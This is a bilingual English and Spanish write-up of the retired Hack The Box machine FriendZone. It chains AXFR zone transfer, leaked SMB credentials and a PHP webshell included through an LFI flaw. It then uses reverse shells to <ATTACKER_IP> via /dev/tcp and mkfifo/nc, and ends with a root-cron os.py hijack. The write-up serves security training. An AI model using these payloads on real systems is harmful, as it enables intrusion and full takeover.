FriendZone
Executive summary — FriendZone is an Easy Linux box that chains several small flaws all the way to root: a DNS zone transfer (AXFR) reveals hidden subdomains; SMB exposes an anonymous share with credentials and a writable one; a LFI in the admin panel includes a webshell uploaded over SMB (RCE as
www-data); a leaked config file allows a password-reuse pivot to thefrienduser; and the final escalation abuses a world-writable Pythonos.pyrun by a root cron. A DNS → SMB → LFI/RCE → credential reuse → Python module → root path.
| Platform | Hack The Box |
| Operating system | Linux |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.23.177 |
Attack map
[21/22] FTP (vsftpd 3.0.3) + SSH (OpenSSH 7.6p1) open, not exploited
[53] DNS → zone transfer (AXFR) → hidden subdomains
[139/445] SMB: «general» (anon → creds.txt) · «Development» (writable)
│ mount hint in the «Files» share comment (/etc/Files)
│ [443] administrator1: log in with the SMB creds → dashboard.php with LFI (pagename)
│ upload a webshell to Development (mounted at /etc/Development) → include it via LFI
▼
[RCE] www-data (id confirms execution)
│ /var/www/mysql_data.conf leaks MySQL credentials for «friend»
│ the same password works for the friend system account (reuse)
▼
[USER] friend (user.txt)
│ /usr/lib/python2.7/os.py is world-writable + root cron (run-parts/cron.hourly)
▼
[ROOT] inject a reverse shell into os.py → root cron runs it
1. Reconnaissance
nmap -sV -sC -p- -Pn 10.129.23.177
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1
53/tcp open domain ISC BIND 9.11.3
80/tcp open http Apache 2.4.29 ("Friend Zone Escape software")
139/tcp open netbios-ssn Samba
443/tcp open ssl/http (cert: friendzone.red)
445/tcp open microsoft-ds Samba
FTP and SSH are open but don't offer an entry point on their own (no anonymous FTP, no SSH credentials yet). Port 80 only serves a themed landing page ("Friend Zone Escape software"); the 443 certificate, on the other hand, is the first real lead: it reveals the domain friendzone.red.
Resumen ejecutivo — FriendZone es un Linux Easy que encadena varios fallos pequeños hasta llegar a root: una transferencia de zona DNS (AXFR) revela subdominios ocultos; SMB expone un share anónimo con credenciales y otro con escritura; una LFI en el panel de administración incluye una webshell subida por SMB (RCE como
www-data); un fichero de configuración filtrado permite pivotar por reuso de contraseña al usuariofriend; y la escalada final abusa de unos.pyde Python escribible por todos que ejecuta un cron de root. Recorrido DNS → SMB → LFI/RCE → reuso de credenciales → módulo Python → root.
| Plataforma | Hack The Box |
| Sistema operativo | Linux |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.23.177 |
Mapa del ataque
[21/22] FTP (vsftpd 3.0.3) + SSH (OpenSSH 7.6p1) abiertos, no explotados
[53] DNS → transferencia de zona (AXFR) → subdominios ocultos
[139/445] SMB: «general» (anónimo → creds.txt) · «Development» (escritura)
│ pista de montaje en el comentario del share «Files» (/etc/Files)
│ [443] administrator1: login con las creds SMB → dashboard.php con LFI (pagename)
│ subir webshell a Development (montado en /etc/Development) → incluirla vía LFI
▼
[RCE] www-data (id confirma la ejecución)
│ /var/www/mysql_data.conf filtra credenciales MySQL de «friend»
│ la misma contraseña sirve para el usuario del sistema friend (reuso)
▼
[USER] friend (user.txt)
│ /usr/lib/python2.7/os.py es escribible por todos + cron de root (run-parts/cron.hourly)
▼
[ROOT] inyectar reverse shell en os.py → lo ejecuta el cron como root
1. Reconocimiento
nmap -sV -sC -p- -Pn 10.129.23.177
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1
53/tcp open domain ISC BIND 9.11.3
80/tcp open http Apache 2.4.29 ("Friend Zone Escape software")
139/tcp open netbios-ssn Samba
443/tcp open ssl/http (cert: friendzone.red)
445/tcp open microsoft-ds Samba
FTP y SSH quedan abiertos pero no aportan una vía de entrada por sí solos (no hay anónimo en FTP ni credenciales todavía para SSH). El puerto 80 solo sirve una landing page temática («Friend Zone Escape software»); el certificado del 443, en cambio, es la primera pista seria: revela el dominio friendzone.red.
2. DNS — zone transfer (AXFR)
With a real domain and port 53 open, the first thing to try is a zone transfer: a full replication of the DNS zone between servers that, on a misconfigured BIND, gets served to anyone without authentication.
dig axfr friendzone.red @10.129.23.177
friendzone.red
administrator1.friendzone.red
hr.friendzone.red
uploads.friendzone.red
What AXFR is and why it matters: if allowed to anyone, AXFR reveals every internal subdomain at once — a complete map of the target that would normally require brute-force or OSINT.
echo "10.129.23.177 friendzone.red administrator1.friendzone.red hr.friendzone.red uploads.friendzone.red" | sudo tee -a /etc/hosts
3. SMB — shares, credentials and the mount hint
smbclient -L //10.129.23.177/ -N
print$ (printers, not interesting)
Files (anonymous read — just a comment)
general (anonymous read)
Development (authenticated write)
IPC$ (named pipes)
The general share allows anonymous read and holds a creds.txt:
smbclient //10.129.23.177/general -N -c 'get creds.txt'
admin:WORKWORKHhallelujah@#
The mount hint: the
Filesshare's comment reads something like «FriendZone Samba Server Files /etc/Files». That's the key to the whole chain that follows: every SMB share is mounted at/etc/<share_name>on the server's filesystem, so whatever we upload toDevelopmentwill land at/etc/Development/.
4. Web — admin panel and LFI
At administrator1.friendzone.red there's a dashboard.php, a "smart photo script" that requires login. We try the credentials from creds.txt:
curl -ik -c cookies.txt -d "username=admin&password=WORKWORKHhallelujah@#" "https://administrator1.friendzone.red/login.php"
Set-Cookie: FriendZoneAuth=...
With a valid session, dashboard.php turns out to be vulnerable to LFI via the pagename parameter: internally it runs an include() without sanitising whatever path gets passed in.
5. From LFI to RCE: webshell over SMB + include
The LFI→RCE chain: the
Developmentshare allows authenticated write and, per the hint from step 3, lands at/etc/Development/. We upload a PHP webshell there and include it via the LFI, pointingpagenameat that path — without the extension, since theinclude()already appends.php.
smbclient //10.129.23.177/Development -U admin -c 'put shell.php'
# shell.php: <?php system($_GET["cmd"]); ?>
curl -ik -b cookies.txt "https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/shell&cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
RCE confirmed. We set up a listener and fire a reverse shell through the same cmd parameter (URL-encoded):
nc -lvnp 9001
curl -ik -b cookies.txt "https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/shell&cmd=bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/<ATTACKER_IP>/9001%200%3E%261%22"
Once the connection lands, we stabilise the TTY:
python3 -c 'import pty; pty.spawn("/bin/bash")'
6. Lateral movement — MySQL credential reuse
As www-data, an application config file leaks database credentials:
cat /var/www/mysql_data.conf
db_user=friend
db_pass=Agpyu12!0.213$
db_name=FZ
Password reuse: the MySQL user shares its name with a system account (
friend). We try the same password forsu— and it works. A very common pattern on easy boxes: the same secret travels between services.
script /dev/null -c bash
su friend
With friend's shell, we read the user flag:
cat /home/friend/user.txt
7. Escalation — os.py module hijack
We enumerate with LinEnum:
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
./LinEnum.sh -t
/usr/lib/python2.7/os.pyhasrwxrwxrwxpermissions (owned by root, but writable by anyone)./etc/crontabrunsrun-parts --report /etc/cron.hourlyas root, every hour at minute 17; some script in thatcron.hourlyinvokes Python 2.7.
The idea (library hijacking): as soon as that cron script imports
os, Python executesos.pyexactly as it sits on disk. If we can write there, we add our own code and the cron runs it with root privileges.
nc -lvnp 4444
echo 'import os' >> /usr/lib/python2.7/os.py
echo 'os.system("rm /tmp/f; mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 4444 >/tmp/f")' >> /usr/lib/python2.7/os.py
We wait for the cron to fire (minute :17) and receive the root shell.
8. Root flag
cat /root/root.txt
System fully compromised. 🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Recon | DNS (BIND 9.11.3) | Zone transfer (AXFR) without auth | Discovery of hidden subdomains |
| Info/Write | Samba | Anonymous share with credentials + writable share | Credentials + webshell upload |
| Foothold | administrator1 (dashboard.php) | LFI (pagename) → include the webshell uploaded over SMB | RCE as www-data |
| Lateral | mysql_data.conf | Plaintext credentials reused as a system user's password | Access as friend (user.txt) |
| PrivEsc | Python 2.7 os.py | World-writable system file + root cron that imports it | Root |
Lessons learned
- Restrict AXFR: only between authorised servers; otherwise you leak your whole DNS map to anyone.
- Anonymous or writable SMB is a gift: it gives up credentials and a webshell drop point, and share comments can leak real filesystem paths.
- LFI = RCE as soon as there's any way to plant an includable file (SMB, FTP, an upload feature of the app itself…).
- Don't reuse passwords across services: the same secret travelled from SMB → web panel → MySQL → system user.
- System file permissions: a
rwxrwxrwxon a standard library plus a root cron that touches it is a trivial escalation.
2. DNS — transferencia de zona (AXFR)
Con un dominio real y el puerto 53 abierto, lo primero es probar una transferencia de zona: una réplica completa de la zona DNS entre servidores que, si el BIND está mal configurado, se sirve a cualquiera sin autenticación.
dig axfr friendzone.red @10.129.23.177
friendzone.red
administrator1.friendzone.red
hr.friendzone.red
uploads.friendzone.red
Qué es AXFR y por qué importa: si se permite a cualquiera, el AXFR revela todos los subdominios internos de golpe — un mapa completo del objetivo que normalmente costaría fuerza bruta o OSINT.
echo "10.129.23.177 friendzone.red administrator1.friendzone.red hr.friendzone.red uploads.friendzone.red" | sudo tee -a /etc/hosts
3. SMB — shares, credenciales y la pista de montaje
smbclient -L //10.129.23.177/ -N
print$ (impresoras, sin interés)
Files (lectura anónima — solo un comentario)
general (lectura anónima)
Development (escritura autenticada)
IPC$ (named pipes)
El share general permite lectura anónima y contiene un creds.txt:
smbclient //10.129.23.177/general -N -c 'get creds.txt'
admin:WORKWORKHhallelujah@#
La pista de montaje: el comentario del share
Filesdice algo así como «FriendZone Samba Server Files /etc/Files». Es la clave de toda la cadena siguiente: cada share SMB está montado en/etc/<nombre_share>en el filesystem del servidor, así que lo que subamos aDevelopmentaparecerá en/etc/Development/.
4. Web — panel admin y LFI
En administrator1.friendzone.red hay un dashboard.php, un «smart photo script» que requiere login. Probamos las credenciales de creds.txt:
curl -ik -c cookies.txt -d "username=admin&password=WORKWORKHhallelujah@#" "https://administrator1.friendzone.red/login.php"
Set-Cookie: FriendZoneAuth=...
Con la sesión válida, dashboard.php resulta vulnerable a LFI por el parámetro pagename: internamente hace un include() sin sanitizar ninguna ruta que se le pase.
5. De LFI a RCE: webshell por SMB + include
La cadena LFI→RCE: el share
Developmentadmite escritura autenticada y, por la pista del punto 3, cae en/etc/Development/. Subimos una webshell PHP ahí y la incluimos con la LFI apuntandopagenamea esa ruta — sin extensión, porque elinclude()ya añade.php.
smbclient //10.129.23.177/Development -U admin -c 'put shell.php'
# shell.php: <?php system($_GET["cmd"]); ?>
curl -ik -b cookies.txt "https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/shell&cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
RCE confirmada. Montamos un listener y disparamos una reverse shell con el mismo parámetro cmd (URL-encoded):
nc -lvnp 9001
curl -ik -b cookies.txt "https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/shell&cmd=bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/<ATTACKER_IP>/9001%200%3E%261%22"
Recibida la conexión, estabilizamos la TTY:
python3 -c 'import pty; pty.spawn("/bin/bash")'
6. Movimiento lateral — reuso de credenciales MySQL
Como www-data, un fichero de configuración de la app filtra credenciales de base de datos:
cat /var/www/mysql_data.conf
db_user=friend
db_pass=Agpyu12!0.213$
db_name=FZ
Reuso de contraseña: el usuario de MySQL se llama igual que un usuario del sistema (
friend). Probamos la misma contraseña para elsu— y funciona. Patrón muy común en máquinas easy: la misma clave viaja entre servicios.
script /dev/null -c bash
su friend
Con la shell de friend, leemos la flag de usuario:
cat /home/friend/user.txt
7. Escalada — hijack del módulo os.py
Enumeramos con LinEnum:
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
./LinEnum.sh -t
/usr/lib/python2.7/os.pytiene permisosrwxrwxrwx(propiedad de root, pero escribible por cualquiera)./etc/crontabejecutarun-parts --report /etc/cron.hourlycomo root, cada hora en el minuto 17; algún script de esecron.hourlyinvoca Python 2.7.
La idea (library hijacking): en cuanto ese script del cron importa
os, Python ejecutaos.pytal cual esté en disco. Si podemos escribir ahí, añadimos nuestro propio código y lo correrá el cron con privilegios de root.
nc -lvnp 4444
echo 'import os' >> /usr/lib/python2.7/os.py
echo 'os.system("rm /tmp/f; mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 4444 >/tmp/f")' >> /usr/lib/python2.7/os.py
Esperamos al disparo del cron (minuto :17) y recibimos la shell de root.
8. Root flag
cat /root/root.txt
Sistema comprometido por completo. 🏴☠️
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Recon | DNS (BIND 9.11.3) | Transferencia de zona (AXFR) sin auth | Descubrimiento de subdominios ocultos |
| Info/Escritura | Samba | Share anónimo con credenciales + share escribible | Credenciales + subida de webshell |
| Foothold | administrator1 (dashboard.php) | LFI (pagename) → incluir la webshell subida por SMB | RCE como www-data |
| Lateral | mysql_data.conf | Credenciales en claro reutilizadas como contraseña de usuario del sistema | Acceso como friend (user.txt) |
| PrivEsc | os.py de Python 2.7 | Fichero de sistema escribible por todos + cron de root que lo importa | Root |
Lecciones aprendidas
- Restringe AXFR: solo entre servidores autorizados; si no, filtras tu mapa DNS completo a cualquiera.
- SMB anónimo o escribible es un regalo: da credenciales y un punto de subida de webshells, y sus comentarios de share pueden filtrar rutas reales del sistema.
- LFI = RCE en cuanto exista alguna forma de plantar un fichero incluible (SMB, FTP, un upload de la propia app…).
- No reutilices contraseñas entre servicios: la misma clave viajó de SMB → panel web → MySQL → usuario del sistema.
- Permisos de ficheros del sistema: un
rwxrwxrwxen una librería estándar más un cron que corre como root es una escalada trivial.